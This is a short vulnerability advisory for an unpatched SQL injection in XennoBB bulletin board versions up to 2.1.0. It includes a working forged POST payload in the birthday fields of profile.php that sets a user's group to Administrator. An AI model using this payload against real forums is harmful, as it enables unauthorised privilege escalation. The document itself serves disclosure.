XennoBB <= 2.1.0 "birthday" SQL injection
--------------------- SUMMARY ---------------------
Name:
XennoBB "birthday" SQL Injection (6/8/2006)
Vendor / Product:
XennoBB Group
http://www.xennobb.com/
Description:
The world's most revolutionary and easy to use bulletin board.
Revolutionary because it redefines the boundaries of usability
and power; from the first version it's a real alternative to
the commercial forums out there.
How can XennoBB be described in few words?
Lightning-speed, stable, SECURED(?) and modern.
Version(s) Affected:
<= 2.1.0
Severity:
High
Impact:
SQL Injection (Remote)
Status:
Unpatched
Discovered by:
Chris Boulton <http://www.surfionline.com>
------------------- DESCRIPTION -------------------
An exploit exists in the above mentioned versions of XennoBB which
can be exploited by malicious users to conduct SQL injection attacks.
Input passed to the "bday_day", "bday_month" and "bday_year form
fields is not properly sanitised before being used in an SQL query.
This exploit can lead to manipulation of SQL queries by injecting
arbitary SQL code.
--------------------- EXPLOIT ---------------------
Submit a forged POST request to
/profile.php?section=personal&id={your registered user ID here}
With the following as the POST data:
form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1,
birthday="
Successful exploitation leads to the user group being changed to
that of Administrators.